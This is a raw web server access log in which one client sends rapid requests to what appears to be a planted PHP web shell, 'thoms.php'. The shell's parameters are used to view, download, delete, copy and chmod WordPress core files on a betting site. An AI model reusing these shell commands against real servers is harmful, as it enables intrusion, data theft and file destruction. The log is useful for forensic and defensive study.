45.135.193.11 - - [11/Sep/2026:23:36:44 -0400] "GET /thoms.php?del=block-bindings.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59422 "http://163.245.207.76:443/thoms.php?del=block-bindings.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:45 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass.wp-styles.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11884 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass.wp-styles.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:45 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes%2Fl10n HTTP/1.1" 200 13687 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes%2Fl10n" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:45 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=block-template.php HTTP/1.1" 200 18592 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=block-template.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:45 -0400] "GET /thoms.php?del=https-detection.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59423 "http://163.245.207.76:443/thoms.php?del=https-detection.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:45 -0400] "GET /betcity.com.tw/wp-includes/class-wp-block-editor-context.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:45 -0400] "GET /thoms.php?dl=utf8.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59422 "http://163.245.207.76:443/thoms.php?dl=utf8.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:45 -0400] "GET /betcity.com.tw/wp-includes/class-wp-connector-registry.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:46 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-filter-sentinel.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11881 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-filter-sentinel.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:46 -0400] "GET /thoms.php?dl=class-wp-customize-setting.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59417 "http://163.245.207.76:443/thoms.php?dl=class-wp-customize-setting.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:46 -0400] "GET /thoms.php?del=class-wp-customize-panel.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59423 "http://163.245.207.76:443/thoms.php?del=class-wp-customize-panel.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:46 -0400] "GET /thoms.php?dl=class-wp-theme-json-schema.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59423 "http://163.245.207.76:443/thoms.php?dl=class-wp-theme-json-schema.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:46 -0400] "GET /thoms.php?del=class-wp-block-patterns-registry.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59424 "http://163.245.207.76:443/thoms.php?del=class-wp-block-patterns-registry.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:46 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-block-type.php HTTP/1.1" 200 16585 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-block-type.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:46 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-feed-cache-transient.php HTTP/1.1" 200 13080 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-feed-cache-transient.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:47 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=post.php HTTP/1.1" 200 95683 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=post.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:47 -0400] "GET /thoms.php?chmod=version.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11507 "http://163.245.207.76:443/thoms.php?chmod=version.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:47 -0400] "GET /thoms.php?del=feed-rdf.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59413 "http://163.245.207.76:443/thoms.php?del=feed-rdf.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:47 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-embed.php HTTP/1.1" 200 17499 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-embed.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:47 -0400] "GET /thoms.php?del=ms-site.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59422 "http://163.245.207.76:443/thoms.php?del=ms-site.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:47 -0400] "GET /betcity.com.tw/wp-includes/functions.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:47 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-phpmailer.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11890 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-phpmailer.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:47 -0400] "GET /betcity.com.tw/wp-includes/class-wp-locale.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:47 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Ftheme.json&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11879 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Ftheme.json&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:47 -0400] "GET /thoms.php?chmod=IXR&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11515 "http://163.245.207.76:443/thoms.php?chmod=IXR&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:47 -0400] "GET /thoms.php?chmod=html-api&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11523 "http://163.245.207.76:443/thoms.php?chmod=html-api&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:47 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-oembed.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11885 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-oembed.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:48 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-textdomain-registry.php HTTP/1.1" 200 15382 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-textdomain-registry.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:48 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-user-query.php HTTP/1.1" 200 24000 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-user-query.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:48 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fblocks&p= HTTP/1.1" 200 12365 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fblocks&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:47 -0400] "GET /thoms.php?dl=class-wp-tax-query.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59423 "http://163.245.207.76:443/thoms.php?dl=class-wp-tax-query.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:48 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fcertificates&p= HTTP/1.1" 200 12361 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fcertificates&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:48 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes%2Frest-api HTTP/1.1" 200 13866 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes%2Frest-api" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:48 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-phpmailer.php HTTP/1.1" 200 12199 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-phpmailer.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:48 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-plugin-dependencies.php HTTP/1.1" 200 18554 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-plugin-dependencies.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:48 -0400] "GET /thoms.php?chmod=functions.wp-scripts.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11533 "http://163.245.207.76:443/thoms.php?chmod=functions.wp-scripts.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:48 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fbuild&p= HTTP/1.1" 200 12365 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fbuild&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:48 -0400] "GET /thoms.php?dl=class-wp-application-passwords.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59424 "http://163.245.207.76:443/thoms.php?dl=class-wp-application-passwords.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:48 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fphp-compat&p= HTTP/1.1" 200 12362 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fphp-compat&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:48 -0400] "GET /thoms.php?del=class-wp-site.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59436 "http://163.245.207.76:443/thoms.php?del=class-wp-site.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:49 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-phpass.php HTTP/1.1" 200 14634 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-phpass.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:49 -0400] "GET /thoms.php?del=capabilities.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59412 "http://163.245.207.76:443/thoms.php?del=capabilities.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:49 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-image-editor-imagick.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11878 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-image-editor-imagick.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:49 -0400] "GET /thoms.php?del=class-avif-info.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59423 "http://163.245.207.76:443/thoms.php?del=class-avif-info.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:49 -0400] "GET /betcity.com.tw/wp-includes/block-bindings/ HTTP/1.1" 200 950 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:49 -0400] "GET /thoms.php?dl=class-wp-feed-cache-transient.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59422 "http://163.245.207.76:443/thoms.php?dl=class-wp-feed-cache-transient.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:49 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-recovery-mode.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11892 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-recovery-mode.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:50 -0400] "GET /thoms.php?chmod=class-wp-text-diff-renderer-inline.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11528 "http://163.245.207.76:443/thoms.php?chmod=class-wp-text-diff-renderer-inline.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:50 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-text-diff-renderer-inline.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11898 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-text-diff-renderer-inline.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:50 -0400] "GET /betcity.com.tw/wp-includes/formatting.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:49 -0400] "GET /thoms.php?dl=class-wp-block-metadata-registry.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59422 "http://163.245.207.76:443/thoms.php?dl=class-wp-block-metadata-registry.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:49 -0400] "GET /thoms.php?del=class-wp-customize-manager.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59423 "http://163.245.207.76:443/thoms.php?del=class-wp-customize-manager.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:50 -0400] "GET /thoms.php?chmod=error_log&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11509 "http://163.245.207.76:443/thoms.php?chmod=error_log&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:50 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fms-default-filters.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11878 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fms-default-filters.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:50 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes%2Fwidgets HTTP/1.1" 200 16263 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes%2Fwidgets" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:50 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fjson-schema.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11886 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fjson-schema.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:50 -0400] "GET /thoms.php?chmod=l10n.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11521 "http://163.245.207.76:443/thoms.php?chmod=l10n.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:51 -0400] "GET /thoms.php?chmod=media-template.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11517 "http://163.245.207.76:443/thoms.php?chmod=media-template.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:51 -0400] "GET /betcity.com.tw/wp-includes/ms-deprecated.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:50 -0400] "GET /thoms.php?dl=fonts.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59423 "http://163.245.207.76:443/thoms.php?dl=fonts.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:50 -0400] "GET /thoms.php?del=class-wp-recovery-mode-key-service.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59423 "http://163.245.207.76:443/thoms.php?del=class-wp-recovery-mode-key-service.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:51 -0400] "GET /betcity.com.tw/wp-includes/php-ai-client/ HTTP/1.1" 200 859 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:51 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=nav-menu-template.php HTTP/1.1" 200 19628 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=nav-menu-template.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:51 -0400] "GET /betcity.com.tw/wp-includes/cron.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:51 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-feed.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11883 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-feed.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:51 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass.wp-dependencies.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11881 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass.wp-dependencies.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:51 -0400] "GET /thoms.php?chmod=robots-template.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11517 "http://163.245.207.76:443/thoms.php?chmod=robots-template.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:51 -0400] "GET /thoms.php?chmod=rss-functions.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11511 "http://163.245.207.76:443/thoms.php?chmod=rss-functions.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:51 -0400] "GET /betcity.com.tw/wp-includes/connectors.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:51 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fsession.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11868 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fsession.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
